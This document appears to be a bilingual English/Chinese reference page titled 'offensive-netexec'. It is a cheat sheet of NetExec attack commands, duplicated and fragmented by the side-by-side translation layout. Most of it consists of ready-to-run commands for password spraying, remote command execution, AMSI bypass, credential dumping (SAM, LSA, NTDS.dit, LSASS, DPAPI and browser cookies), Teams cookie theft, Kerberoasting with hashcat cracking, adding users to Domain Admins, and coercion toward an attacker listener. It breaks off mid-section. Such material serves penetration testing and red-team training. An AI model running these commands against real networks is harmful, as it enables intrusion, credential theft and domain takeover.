offensive-netexec
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseNetExec (nxc) — Reference Skill
NetExec (nxc) — 参考 Skill
Global Syntax & Options
全局语法与选项
nxc <protocol> <target(s)> [auth options] [action options] [global options]nxc <protocol> <target(s)> [auth options] [action options] [global options]Available Protocols
可用协议
smbsshldapftpwmiwinrmrdpvncmssqlnfssmbsshldapftpwmiwinrmrdpvncmssqlnfsTarget Formats
目标格式
bash
nxc smb 192.168.1.0/24 # CIDR
nxc smb 192.168.1.1 192.168.1.2 # Multiple IPs
nxc smb 192.168.1.1-28 # IP range
nxc smb dc01.corp.local # Hostname
nxc smb ~/targets.txt # Filebash
nxc smb 192.168.1.0/24 # CIDR
nxc smb 192.168.1.1 192.168.1.2 # Multiple IPs
nxc smb 192.168.1.1-28 # IP range
nxc smb dc01.corp.local # Hostname
nxc smb ~/targets.txt # FileGlobal Flags
全局 Flags
| Flag | Description |
|---|---|
| Concurrent threads (default: 100) |
| Per-thread timeout in seconds |
| Random delay between connections (e.g. |
| Suppress progress bar |
| Verbose output |
| Debug-level output |
| Flag | 说明 |
|---|---|
| 并发线程数(默认值:100) |
| 每个线程的超时时间(秒) |
| 连接之间的随机延迟(例如 |
| 禁用进度条 |
| 详细输出 |
| 调试级别输出 |
Authentication
身份验证
Core Auth Flags
核心认证 Flags
bash
-u USERNAME # Single username
-u user1 user2 # Multiple usernames
-u ~/users.txt # Username file
-p PASSWORD # Plaintext password
-p 'P@ss!' # Always quote special chars
-p='-P@ss' # Use = for passwords starting with -
-H 'NTHASH' # NT hash only
-H 'LM:NT' # Full NTLM hash
-H 'aad3b435b51404eeaad3b435b51404ee:NTHASH'
-id <cred_id> # Use credential from nxcdb
--local-auth # Authenticate as local user (not domain)bash
-u USERNAME # Single username
-u user1 user2 # Multiple usernames
-u ~/users.txt # Username file
-p PASSWORD # Plaintext password
-p 'P@ss!' # Always quote special chars
-p='-P@ss' # Use = for passwords starting with -
-H 'NTHASH' # NT hash only
-H 'LM:NT' # Full NTLM hash
-H 'aad3b435b51404eeaad3b435b51404ee:NTHASH'
--id <cred_id> # Use credential from nxcdb
--local-auth # Authenticate as local user (not domain)Domain Auth (SMB example)
域认证(SMB 示例)
bash
nxc smb 192.168.1.0/24 -u Administrator -p 'Password123'
nxc smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:NTHASH'bash
nxc smb 192.168.1.0/24 -u Administrator -p 'Password123'
nxc smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:NTHASH'Local Auth
本地认证
bash
nxc smb 192.168.1.0/24 -u localadmin -p 'Password123' --local-authbash
nxc smb 192.168.1.0/24 -u localadmin -p 'Password123' --local-authKerberos Auth
Kerberos 认证
bash
undefinedbash
undefinedAuto-handle TGT using password
Auto-handle TGT using password
nxc smb dc01.corp.local -u user -p pass -k
nxc smb dc01.corp.local -u user -p pass -k
Use existing ccache ticket
Use existing ccache ticket
export KRB5CCNAME=/path/to/ticket.ccache
nxc smb dc01.corp.local --use-kcache
export KRB5CCNAME=/path/to/ticket.ccache
nxc smb dc01.corp.local --use-kcache
Specify KDC explicitly
Specify KDC explicitly
nxc ldap dc01.corp.local -u user -p pass -k --kdcHost dc01.corp.local
undefinednxc ldap dc01.corp.local -u user -p pass -k --kdcHost dc01.corp.local
undefinedMulti-Domain Environments
多域环境
bash
undefinedbash
undefinedusers.txt format:
users.txt format:
DOMAIN1\user1
DOMAIN1\user1
DOMAIN2\user2
DOMAIN2\user2
nxc smb <target> -u users.txt -p 'Password123'
undefinednxc smb <target> -u users.txt -p 'Password123'
undefinedOutput Color Codes
输出颜色代码
- RED — Authentication failed
- GREEN — Authentication succeeded
- MAGENTA — Password valid but account is not admin
- — Admin access / code execution available
(Pwn3d!)
- RED — 身份验证失败
- GREEN — 身份验证成功
- MAGENTA — 密码有效,但账户不是管理员
- — 可以使用管理员访问权限或执行代码
(Pwn3d!)
Pwn3d! Meaning by Protocol
Pwn3d! 的协议含义
| Protocol | Pwn3d! Meaning |
|---|---|
| SMB | Local/domain admin access |
| WMI | Local admin |
| WinRM | Code execution |
| RDP | Code execution |
| VNC | Code execution |
| LDAP | Path to Domain Admin |
| SSH | Root access |
| FTP | No check |
| 协议 | Pwn3d! 含义 |
|---|---|
| SMB | 本地/域管理员访问权限 |
| WMI | 本地管理员 |
| WinRM | 代码执行 |
| RDP | 代码执行 |
| VNC | 代码执行 |
| LDAP | 通往 Domain Admin 的路径 |
| SSH | root 访问权限 |
| FTP | 不检查 |
Password Spraying & Brute Force
密码喷洒与暴力破解
bash
undefinedbash
undefinedSpray one password across many users
Spray one password across many users
nxc smb <target> -u ~/users.txt -p 'Summer2024!' --no-bruteforce --continue-on-success
nxc smb <target> -u ~/users.txt -p 'Summer2024!' --no-bruteforce --continue-on-success
Brute force (user × pass combinations)
Brute force (user × pass combinations)
nxc smb <target> -u ~/users.txt -p ~/passwords.txt
nxc smb <target> -u ~/users.txt -p ~/passwords.txt
Hash spraying
Hash spraying
nxc smb <target> -u ~/users.txt -H ~/hashes.txt --no-bruteforce
nxc smb <target> -u ~/users.txt -H ~/hashes.txt --no-bruteforce
Throttle to avoid lockouts
Throttle to avoid lockouts
nxc smb <target> -u ~/users.txt -p 'Pass123' --jitter 3
nxc smb <target> -u ~/users.txt -p 'Pass123' --jitter 2-5
nxc smb <target> -u ~/users.txt -p 'Pass123' --jitter 3
nxc smb <target> -u ~/users.txt -p 'Pass123' --jitter 2-5
IMPORTANT: --no-bruteforce pairs user[0]:pass[0], user[1]:pass[1], etc.
IMPORTANT: --no-bruteforce pairs user[0]:pass[0], user[1]:pass[1], etc.
Without it: every user × every password (full bruteforce)
Without it: every user × every password (full bruteforce)
Keep going after first valid credential found
Keep going after first valid credential found
nxc smb <target> -u ~/users.txt -p 'Password' --continue-on-success
> ⚠️ **OpSec**: Jitter works per-host. Spraying against multiple hosts
> multiplies authentication attempts. Monitor domain lockout policy before
> spraying (use `--pass-pol` first).
---nxc smb <target> -u ~/users.txt -p 'Password' --continue-on-success
> ⚠️ **OpSec**:Jitter 按主机生效。对多台主机进行喷洒会成倍增加身份验证尝试次数。喷洒前请监控域锁定策略(先使用 `--pass-pol`)。
---SMB Protocol
SMB 协议
Network Discovery
网络发现
bash
undefinedbash
undefinedMap live hosts — get OS, hostname, domain, signing, SMBv1
Map live hosts — get OS, hostname, domain, signing, SMBv1
nxc smb 192.168.1.0/24
nxc smb 192.168.1.0/24
Expected output:
Expected output:
SMB 192.168.1.101 445 DC2016A [*] Windows Server 2016 x64 (name:DC2016A) (domain:CORP) (signing:True) (SMBv1:False)
SMB 192.168.1.101 445 DC2016A [*] Windows Server 2016 x64 (name:DC2016A) (domain:CORP) (signing:True) (SMBv1:False)
undefinedundefinedEnumeration
枚举
bash
undefinedbash
undefinedShares and access
Shares and access
nxc smb <ip> -u user -p pass --shares
nxc smb <ip> -u user -p pass --shares
Null session share enum
Null session share enum
nxc smb <ip> -u '' -p '' --shares
nxc smb <ip> -u '' -p '' --shares
Guest logon check
Guest logon check
nxc smb <ip> -u 'a' -p ''
nxc smb <ip> -u 'a' -p '' --shares
nxc smb <ip> -u 'a' -p ''
nxc smb <ip> -u 'a' -p '' --shares
Domain users
Domain users
nxc smb <ip> -u user -p pass --users
nxc smb <ip> -u user -p pass --users-export output.txt
nxc smb <ip> -u user -p pass --users
nxc smb <ip> -u user -p pass --users-export output.txt
Enumerate users by bruteforcing RIDs (no domain creds needed)
Enumerate users by bruteforcing RIDs (no domain creds needed)
nxc smb <ip> -u '' -p '' --rid-brute
nxc smb <ip> -u '' -p '' --rid-brute 10000 # Set max RID
nxc smb <ip> -u '' -p '' --rid-brute
nxc smb <ip> -u '' -p '' --rid-brute 10000 # Set max RID
Password policy (check before spraying!)
Password policy (check before spraying!)
nxc smb <ip> -u user -p pass --pass-pol
nxc smb <ip> -u user -p pass --pass-pol
Logged-on users (requires admin)
Logged-on users (requires admin)
nxc smb 192.168.1.0/24 -u user -p pass --loggedon-users
nxc smb 192.168.1.0/24 -u user -p pass --loggedon-users targetuser
nxc smb 192.168.1.0/24 -u user -p pass --loggedon-users
nxc smb 192.168.1.0/24 -u user -p pass --loggedon-users targetuser
Active Windows sessions (registry-based, no admin needed)
Active Windows sessions (registry-based, no admin needed)
nxc smb <target>/24 -u user -p pass --reg-sessions
nxc smb <target>/24 -u user -p pass --reg-sessions 'admin_user'
nxc smb <target>/24 -u user -p pass --reg-sessions './users.txt'
nxc smb <target>/24 -u user -p pass --reg-sessions
nxc smb <target>/24 -u user -p pass --reg-sessions 'admin_user'
nxc smb <target>/24 -u user -p pass --reg-sessions './users.txt'
Active sessions via QWINSTA (admin required)
Active sessions via QWINSTA (admin required)
nxc smb 192.168.1.0/24 -u user -p pass --qwinsta
nxc smb 192.168.1.0/24 -u user -p pass --qwinsta targetuser
nxc smb 192.168.1.0/24 -u user -p pass --qwinsta
nxc smb 192.168.1.0/24 -u user -p pass --qwinsta targetuser
Local groups
Local groups
nxc smb 192.168.1.0/24 -u user -p pass --local-group
nxc smb 192.168.1.0/24 -u user -p pass --local-group
Disks
Disks
nxc smb 192.168.1.0/24 -u user -p pass --disks
nxc smb 192.168.1.0/24 -u user -p pass --disks
Network interfaces (admin required)
Network interfaces (admin required)
nxc smb <ip> -u user -p pass --interfaces
nxc smb <ip> -u user -p pass --interfaces
Null sessions
Null sessions
nxc smb <ip> -u '' -p ''
nxc smb <ip> -u '' -p ''
SMB signing not required (relay attack candidates)
SMB signing not required (relay attack candidates)
nxc smb 192.168.1.0/24 --gen-relay-list relay_targets.txt
nxc smb 192.168.1.0/24 --gen-relay-list relay_targets.txt
Check for NTLMv1 (via remote registry, admin required)
Check for NTLMv1 (via remote registry, admin required)
nxc smb <ip> -u user -p pass -M ntlmv1
nxc smb <ip> -u user -p pass -M ntlmv1
Enumerate AV/EDR (no admin needed)
Enumerate AV/EDR (no admin needed)
nxc smb <ip> -u user -p pass -M enum_av
nxc smb <ip> -u user -p pass -M enum_av
Enumerate BitLocker status
Enumerate BitLocker status
nxc smb <ip> -u user -p pass -M bitlocker
nxc smb <ip> -u user -p pass -M bitlocker
Enumerate remote processes (admin required)
Enumerate remote processes (admin required)
nxc smb <ip> -u user -p pass --remote-processes
nxc smb <ip> -u user -p pass --remote-processes
Check for lockscreen backdoors (admin required)
Check for lockscreen backdoors (admin required)
nxc smb <ip> -u Administrator -p 'PASSWORD' -M lockscreendoors
undefinednxc smb <ip> -u Administrator -p 'PASSWORD' -M lockscreendoors
undefinedSpidering Shares
共享目录 Spidering
bash
undefinedbash
undefinedSpider specific share for file pattern
Spider specific share for file pattern
nxc smb <ip> -u user -p pass --spider C$ --pattern txt
nxc smb <ip> -u user -p pass --spider C\$ --pattern txt
Spider all readable shares (list only)
Spider all readable shares (list only)
nxc smb <ip> -u user -p pass -M spider_plus
nxc smb <ip> -u user -p pass -M spider_plus
Spider and download all files
Spider and download all files
nxc smb <ip> -u user -p pass -M spider_plus -o DOWNLOAD_FLAG=True
nxc smb <ip> -u user -p pass -M spider_plus -o DOWNLOAD_FLAG=True
Filter by content/regex
Filter by content/regex
nxc smb <ip> -u user -p pass -M spider_plus -o PATTERN='password'
undefinednxc smb <ip> -u user -p pass -M spider_plus -o PATTERN='password'
undefinedFile Operations
文件操作
bash
undefinedbash
undefinedGet a file
Get a file
nxc smb <ip> -u user -p pass --get-file /remote/path/file.txt /local/path/file.txt
nxc smb <ip> -u user -p pass --get-file /remote/path/file.txt /local/path/file.txt
Put a file
Put a file
nxc smb <ip> -u user -p pass --put-file /local/file.txt /remote/path/file.txt
undefinednxc smb <ip> -u user -p pass --put-file /local/file.txt /remote/path/file.txt
undefinedCommand Execution
命令执行
Requires admin/Pwn3d! access.
bash
undefined需要管理员/Pwn3d! 权限。
bash
undefinedExecute cmd command (-x)
Execute cmd command (-x)
nxc smb <ip> -u Administrator -p 'Pass' -x whoami
nxc smb <ip> -u Administrator -p 'Pass' -x whoami
Execute PowerShell command (-X)
Execute PowerShell command (-X)
nxc smb <ip> -u Administrator -p 'Pass' -X '$PSVersionTable'
nxc smb <ip> -u Administrator -p 'Pass' -X '$PSVersionTable'
Force specific execution method
Force specific execution method
nxc smb <ip> -u user -p pass -x whoami --exec-method wmiexec
nxc smb <ip> -u user -p pass -x whoami --exec-method atexec
nxc smb <ip> -u user -p pass -x whoami --exec-method smbexec
nxc smb <ip> -u user -p pass -x whoami --exec-method wmiexec
nxc smb <ip> -u user -p pass -x whoami --exec-method atexec
nxc smb <ip> -u user -p pass -x whoami --exec-method smbexec
Bypass AMSI for PowerShell
Bypass AMSI for PowerShell
nxc smb <ip> -u user -p pass -X 'Get-Process' --amsi-bypass /path/to/payload
nxc smb <ip> -u user -p pass -X 'Get-Process' --amsi-bypass /path/to/payload
Process Injection — run as another user's process (SYSTEM needed)
Process Injection — run as another user's process (SYSTEM needed)
nxc smb <ip> -u user -p pass -M pi -o PID=<target_pid> EXEC=whoami
**Execution method order (automatic fallback):** wmiexec → atexec → smbexecnxc smb <ip> -u user -p pass -M pi -o PID=<target_pid> EXEC=whoami
**自动回退的执行方法顺序:** wmiexec → atexec → smbexecCredential Dumping via SMB
通过 SMB 进行凭据转储
All methods below require local admin unless noted.
bash
undefined除非另有说明,以下所有方法均需要本地管理员权限。
bash
undefinedSAM hashes (local accounts)
SAM hashes (local accounts)
nxc smb 192.168.1.0/24 -u Administrator -p 'Pass' --sam
nxc smb 192.168.1.0/24 -u Administrator -p 'Pass' --sam secdump # fallback method
nxc smb 192.168.1.0/24 -u Administrator -p 'Pass' --sam
nxc smb 192.168.1.0/24 -u Administrator -p 'Pass' --sam secdump # fallback method
LSA secrets (requires Domain Admin or Local Admin on DC)
LSA secrets (requires Domain Admin or Local Admin on DC)
nxc smb 192.168.1.0/24 -u Administrator -p 'Pass' --lsa
nxc smb 192.168.1.0/24 -u Administrator -p 'Pass' --lsa secdump
nxc smb 192.168.1.0/24 -u Administrator -p 'Pass' --lsa
nxc smb 192.168.1.0/24 -u Administrator -p 'Pass' --lsa secdump
NTDS.dit — full AD hash dump (requires Domain Admin)
NTDS.dit — full AD hash dump (requires Domain Admin)
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds --enabled # active accounts only
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds vss # VSS method
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds --user Administrator
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds --user NETBIOS/Administrator # multi-domain
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds --enabled # active accounts only
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds vss # VSS method
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds --user Administrator
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' --ntds --user NETBIOS/Administrator # multi-domain
NTDS via ntdsutil module
NTDS via ntdsutil module
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' -M ntdsutil
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' -M ntdsutil
NTDS via raw disk access
NTDS via raw disk access
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' -M ntds-dump-raw -o TARGET=NTDS
nxc smb 192.168.1.100 -u DomainAdmin -p 'Pass' -M ntds-dump-raw -o TARGET=NTDS
LSASS dump
LSASS dump
nxc smb <ip> -u Administrator -p 'Pass' -M lsassy
nxc smb <ip> -u Administrator -p 'Pass' -M nanodump
nxc smb <ip> -u Administrator -p 'Pass' -M mimikatz # deprecated
nxc smb <ip> -u Administrator -p 'Pass' -M lsassy
nxc smb <ip> -u Administrator -p 'Pass' -M nanodump
nxc smb <ip> -u Administrator -p 'Pass' -M mimikatz # deprecated
DPAPI — browser creds, Credential Manager
DPAPI — browser creds, Credential Manager
nxc smb <ip> -u user -p pass --dpapi
nxc smb <ip> -u user -p pass --dpapi cookies # include browser cookies
nxc smb <ip> -u user -p pass --dpapi nosystem # skip system creds (stealth)
nxc smb <ip> -u user -p pass --local-auth --dpapi nosystem
nxc smb <ip> -u user -p pass --dpapi
nxc smb <ip> -u user -p pass --dpapi cookies # include browser cookies
nxc smb <ip> -u user -p pass --dpapi nosystem # skip system creds (stealth)
nxc smb <ip> -u user -p pass --local-auth --dpapi nosystem
Azure/M365 token cache (WAM)
Azure/M365 token cache (WAM)
nxc smb <ip> -u user -p pass -M wam
nxc smb <ip> -u user -p pass -M wam --mkfile masterkeys.txt
nxc smb <ip> -u user -p pass -M wam --pvk domain_backup_key.pvk
nxc smb <ip> -u user -p pass -M wam
nxc smb <ip> -u user -p pass -M wam --mkfile masterkeys.txt
nxc smb <ip> -u user -p pass -M wam --pvk domain_backup_key.pvk
BackupOperator privilege abuse (no local admin needed if SeBackupPrivilege)
BackupOperator privilege abuse (no local admin needed if SeBackupPrivilege)
nxc smb <ip> -u user -p pass -M backup_operator
nxc smb <ip> -u user -p pass -M backup_operator
SCCM credentials
SCCM credentials
nxc smb <ip> -u user -p pass --sccm
nxc smb <ip> -u user -p pass --sccm disk
nxc smb <ip> -u user -p pass --sccm wmi
nxc smb <ip> -u user -p pass --sccm
nxc smb <ip> -u user -p pass --sccm disk
nxc smb <ip> -u user -p pass --sccm wmi
Credential manager applications
Credential manager applications
nxc smb <ip> -u user -p pass -M keepass_discover
nxc smb <ip> -u user -p pass -M keepass_trigger -o KEEPASS_CONFIG_PATH="/path/from/discovery"
nxc smb <ip> -u user -p pass -M veeam
nxc smb <ip> -u user -p pass -M wifi
nxc smb <ip> -u user -p pass -M winscp
nxc smb <ip> -u user -p pass -M vnc
nxc smb <ip> -u user -p pass -M mremoteng
nxc smb <ip> -u user -p pass -M rdcman
nxc smb <ip> -u user -p pass -M putty
nxc smb <ip> -u user -p pass -M keepass_discover
nxc smb <ip> -u user -p pass -M keepass_trigger -o KEEPASS_CONFIG_PATH="/path/from/discovery"
nxc smb <ip> -u user -p pass -M veeam
nxc smb <ip> -u user -p pass -M wifi
nxc smb <ip> -u user -p pass -M winscp
nxc smb <ip> -u user -p pass -M vnc
nxc smb <ip> -u user -p pass -M mremoteng
nxc smb <ip> -u user -p pass -M rdcman
nxc smb <ip> -u user -p pass -M putty
Notepad / Notepad++ unsaved documents
Notepad / Notepad++ unsaved documents
nxc smb <ip> -u user -p pass -M notepad
nxc smb <ip> -u user -p pass -M notepad++
undefinednxc smb <ip> -u user -p pass -M notepad
nxc smb <ip> -u user -p pass -M notepad++
undefinedVulnerability Scanning
漏洞扫描
bash
undefinedbash
undefinedZeroLogon (CVE-2020-1472)
ZeroLogon (CVE-2020-1472)
nxc smb <ip> -u '' -p '' -M zerologon
nxc smb <ip> -u '' -p '' -M zerologon
noPAC / Sam-The-Admin (needs creds)
noPAC / Sam-The-Admin (needs creds)
nxc smb <ip> -u user -p pass -M nopac
nxc smb <ip> -u user -p pass -M nopac
PrintNightmare
PrintNightmare
nxc smb <ip> -u '' -p '' -M printnightmare
nxc smb <ip> -u '' -p '' -M printnightmare
SMBGhost (CVE-2020-0796)
SMBGhost (CVE-2020-0796)
nxc smb <ip> -u '' -p '' -M smbghost
nxc smb <ip> -u '' -p '' -M smbghost
EternalBlue MS17-010
EternalBlue MS17-010
nxc smb <ip> -u '' -p '' -M ms17-010
nxc smb <ip> -u '' -p '' -M ms17-010
NTLM Reflection (CVE-2025-33073) — needs creds
NTLM Reflection (CVE-2025-33073) — needs creds
nxc smb <ip> -u user -p pass -M ntlm_reflection
nxc smb <ip> -u user -p pass -M ntlm_reflection
Coercion vulns (PetitPotam, DFSCoerce, PrinterBug, MSEven, ShadowCoerce)
Coercion vulns (PetitPotam, DFSCoerce, PrinterBug, MSEven, ShadowCoerce)
nxc smb <ip> -u '' -p '' -M coerce_plus
nxc smb <ip> -u '' -p '' -M coerce_plus -o LISTENER=<AttackerIP>
nxc smb <ip> -u '' -p '' -M coerce_plus -o LISTENER=<AttackerIP> ALWAYS=true
nxc smb <ip> -u '' -p '' -M coerce_plus -o METHOD=PetitPotam # or pe, dfs, pr
nxc smb <ip> -u '' -p '' -M coerce_plus
nxc smb <ip> -u '' -p '' -M coerce_plus -o LISTENER=<AttackerIP>
nxc smb <ip> -u '' -p '' -M coerce_plus -o LISTENER=<AttackerIP> ALWAYS=true
nxc smb <ip> -u '' -p '' -M coerce_plus -o METHOD=PetitPotam # or pe, dfs, pr
Run multiple vuln checks at once
Run multiple vuln checks at once
nxc smb <ip> -u '' -p '' -M zerologon -M printnightmare -M smbghost
undefinednxc smb <ip> -u '' -p '' -M zerologon -M printnightmare -M smbghost
undefinedLAPS
LAPS
bash
undefinedbash
undefinedRead LAPS password (if you have a user with ReadLAPSPassword rights)
Read LAPS password (if you have a user with ReadLAPSPassword rights)
nxc smb <ip> -u laps-reader -p pass --laps
nxc smb <ip> -u laps-reader -p pass --laps customadminname # non-default admin name
undefinednxc smb <ip> -u laps-reader -p pass --laps
nxc smb <ip> -u laps-reader -p pass --laps customadminname # non-default admin name
undefinedDelegation Abuse
委派滥用
bash
undefinedbash
undefinedRBCD — impersonate any user if msDS-AllowedToActOnBehalfOfOtherIdentity is set
RBCD — impersonate any user if msDS-AllowedToActOnBehalfOfOtherIdentity is set
nxc smb <ip> -u jon.snow -p iknownothing --delegate Administrator
nxc smb <ip> -u jon.snow -p iknownothing --delegate Administrator
S4U2Self — with computer account nearly always gets local admin
S4U2Self — with computer account nearly always gets local admin
nxc smb <ip> -u 'COMPUTER$' -H <nthash> --delegate Administrator --self
undefinednxc smb <ip> -u 'COMPUTER$' -H <nthash> --delegate Administrator --self
undefinedMiscellaneous SMB
其他 SMB 功能
bash
undefinedbash
undefinedImpersonate logged-on users
Impersonate logged-on users
nxc smb <ip> -u user -p pass -M schtask_as -o USER=targetuser CMD=whoami
nxc smb <ip> -u user -p pass -M schtask_as -o USER=targetuser CMD=whoami
Change user password
Change user password
nxc smb <ip> -u user -p pass --change-password newpassword
nxc smb <ip> -u user -p pass --change-password newpassword
Modify group membership
Modify group membership
nxc smb <ip> -u admin -p pass --modify-group "Domain Admins" --add-user victimuser
nxc smb <ip> -u admin -p pass --modify-group "Domain Admins" --add-user victimuser
Dump Teams cookies
Dump Teams cookies
nxc smb <ip> -u user -p pass -M teams_localdb
nxc smb <ip> -u user -p pass -M teams_localdb
Steal Teams cookies
Steal Teams cookies
nxc smb <ip> -u user -p pass -M steal_teams_cookies
nxc smb <ip> -u user -p pass -M steal_teams_cookies
Check spooler / WebDAV running
Check spooler / WebDAV running
nxc smb <ip> -u user -p pass -M spooler
nxc smb <ip> -u user -p pass -M webdav
nxc smb <ip> -u user -p pass -M spooler
nxc smb <ip> -u user -p pass -M webdav
Defeating LAPS — read password if privileged
Defeating LAPS — read password if privileged
nxc smb <ip> -u privilegeduser -p pass --laps
---nxc smb <ip> -u privilegeduser -p pass --laps
---LDAP Protocol
LDAP 协议
Authentication / Basic
身份验证/基础操作
bash
nxc ldap <ip> -u user -p pass
nxc ldap <ip> -u user -p pass -k # Kerberos
nxc ldap <ip> -u user -p pass -k --kdcHost dc01.corp.localbash
nxc ldap <ip> -u user -p pass
nxc ldap <ip> -u user -p pass -k # Kerberos
nxc ldap <ip> -u user -p pass -k --kdcHost dc01.corp.localUser Enumeration
用户枚举
bash
nxc ldap <ip> -u user -p pass --users
nxc ldap <ip> -u user -p pass --users-export output.txt
nxc ldap <ip> -u user -p pass --active-users # Active (non-disabled) users only
nxc ldap <ip> -u user -p pass --get-user-descriptions # Users with descriptions
nxc ldap <ip> -u user -p pass --admin-count # Users with adminCount=1bash
nxc ldap <ip> -u user -p pass --users
nxc ldap <ip> -u user -p pass --users-export output.txt
nxc ldap <ip> -u user -p pass --active-users # Active (non-disabled) users only
nxc ldap <ip> -u user -p pass --get-user-descriptions # Users with descriptions
nxc ldap <ip> -u user -p pass --admin-count # Users with adminCount=1Group Enumeration
组枚举
bash
nxc ldap <ip> -u user -p pass --groups
nxc ldap <ip> -u user -p pass --group-members "Domain Admins"bash
nxc ldap <ip> -u user -p pass --groups
nxc ldap <ip> -u user -p pass --group-members "Domain Admins"Domain Info
域信息
bash
nxc ldap <ip> -u user -p pass --dc-list # Domain Controllers
nxc ldap <ip> -u user -p pass --find-domain-sid # Domain SID
nxc ldap <ip> -u user -p pass --trusts # Domain trusts
nxc ldap <ip> -u user -p pass --machine-account-quota # MAQ value
nxc ldap <ip> -u user -p pass --get-scriptpath # GPO script paths
nxc ldap <ip> -u user -p pass --extract-subnet # Subnets from AD Sites
nxc ldap <ip> -u user -p pass --check-ldap-signing # LDAP signing configbash
nxc ldap <ip> -u user -p pass --dc-list # Domain Controllers
nxc ldap <ip> -u user -p pass --find-domain-sid # Domain SID
nxc ldap <ip> -u user -p pass --trusts # Domain trusts
nxc ldap <ip> -u user -p pass --machine-account-quota # MAQ value
nxc ldap <ip> -u user -p pass --get-scriptpath # GPO script paths
nxc ldap <ip> -u user -p pass --extract-subnet # Subnets from AD Sites
nxc ldap <ip> -u user -p pass --check-ldap-signing # LDAP signing configKerberos Attacks
Kerberos 攻击
bash
undefinedbash
undefinedASREPRoast — no auth needed if you have usernames
ASREPRoast — no auth needed if you have usernames
nxc ldap <ip> -u '' -p '' --asreproast output.txt # anonymous (if allowed)
nxc ldap <ip> -u users.txt -p '' --asreproast output.txt
nxc ldap <ip> -u user -p pass --asreproast output.txt # authenticated (finds all)
nxc ldap <ip> -u user -p pass --asreproast output.txt --kdcHost dc01.corp.local
nxc ldap <ip> -u '' -p '' --asreproast output.txt # anonymous (if allowed)
nxc ldap <ip> -u users.txt -p '' --asreproast output.txt
nxc ldap <ip> -u user -p pass --asreproast output.txt # authenticated (finds all)
nxc ldap <ip> -u user -p pass --asreproast output.txt --kdcHost dc01.corp.local
Crack with hashcat
Crack with hashcat
hashcat -m18200 output.txt wordlist.txt
hashcat -m18200 output.txt wordlist.txt
Kerberoasting
Kerberoasting
nxc ldap <ip> -u user -p pass --kerberoasting output.txt
nxc ldap <ip> -u user -p pass --kerberoasting output.txt
Targeted Kerberoasting (requires WriteProperty on servicePrincipalName)
Targeted Kerberoasting (requires WriteProperty on servicePrincipalName)
nxc ldap <ip> -u user -p pass --kerberoasting output.txt --targeted-kerberoast victim1
nxc ldap <ip> -u user -p pass --kerberoasting output.txt --targeted-kerberoast users.list
nxc ldap <ip> -u user -p pass --kerberoasting output.txt --targeted-kerberoast victim1
nxc ldap <ip> -u user -p pass --kerberoasting output.txt --targeted-kerberoast users.list
Kerberoasting via AS-REP roastable account
Kerberoasting via AS-REP roastable account
nxc ldap <ip> -u asrep_user -p '' --no-preauth-targets kerberoastable.list --kerberoasting out.txt
nxc ldap <ip> -u asrep_user -p '' --no-preauth-targets kerberoastable.list --kerberoasting out.txt
Crack with hashcat
Crack with hashcat
hashcat -m13100 output.txt wordlist.txt
hashcat -m13100 output.txt wordlist.txt
Pre2k Computer Account Abuse
Pre2k Computer Account Abuse
nxc ldap <ip> -u user -p pass -M pre2k
nxc ldap <ip> -u user -p pass -M pre2k
Tickets saved to ~/.nxc/modules/pre2k/ccache/
Tickets saved to ~/.nxc/modules/pre2k/ccache/
undefinedundefinedPrivilege Escalation & Delegation
权限提升与委派
bash
undefinedbash
undefinedFind all misconfigured delegations (Unconstrained, Constrained, RBCD)
Find all misconfigured delegations (Unconstrained, Constrained, RBCD)
nxc ldap <ip> -u user -p pass --find-delegation
nxc ldap <ip> -u user -p pass --find-delegation
Unconstrained delegation accounts
Unconstrained delegation accounts
nxc ldap <ip> -u user -p pass --unconstrained-delegation
undefinednxc ldap <ip> -u user -p pass --unconstrained-delegation
undefinedACL / DACL Analysis
ACL / DACL 分析
bash
undefinedbash
undefinedRead all ACEs on a target object
Read all ACEs on a target object
nxc ldap dc.lab.local -k --kdcHost dc.lab.local -M daclread -o TARGET=Administrator ACTION=read
nxc ldap dc.lab.local -k --kdcHost dc.lab.local -M daclread -o TARGET=Administrator ACTION=read
Check what rights a specific principal has on a target
Check what rights a specific principal has on a target
nxc ldap dc.lab.local -k -M daclread -o TARGET=Administrator ACTION=read PRINCIPAL=BlWasp
nxc ldap dc.lab.local -k -M daclread -o TARGET=Administrator ACTION=read PRINCIPAL=BlWasp
Find who has DCSync rights
Find who has DCSync rights
nxc ldap dc.lab.local -k -M daclread -o TARGET_DN="DC=lab,DC=LOCAL" ACTION=read RIGHTS=DCSync
nxc ldap dc.lab.local -k -M daclread -o TARGET_DN="DC=lab,DC=LOCAL" ACTION=read RIGHTS=DCSync
Check for DENY ACEs
Check for DENY ACEs
nxc ldap dc.lab.local -k -M daclread -o TARGET=Administrator ACTION=read ACE_TYPE=denied
nxc ldap dc.lab.local -k -M daclread -o TARGET=Administrator ACTION=read ACE_TYPE=denied
Backup DACLs for multiple targets
Backup DACLs for multiple targets
nxc ldap dc.lab.local -k -M daclread -o TARGET=../../targets.txt ACTION=backup
undefinednxc ldap dc.lab.local -k -M daclread -o TARGET=../../targets.txt ACTION=backup
undefinedCredential & Secret Extraction
凭据与机密信息提取
bash
undefinedbash
undefinedDump gMSA passwords (requires right; uses LDAPS automatically)
Dump gMSA passwords (requires right; uses LDAPS automatically)
nxc ldap <ip> -u user -p pass --gmsa
nxc ldap <ip> -u user -p pass --gmsa
Extract gMSA secrets
Extract gMSA secrets
nxc ldap <ip> -u user -p pass -M get-gmsa-creds
nxc ldap <ip> -u user -p pass -M get-gmsa-creds
Read DACL rights on gMSA
Read DACL rights on gMSA
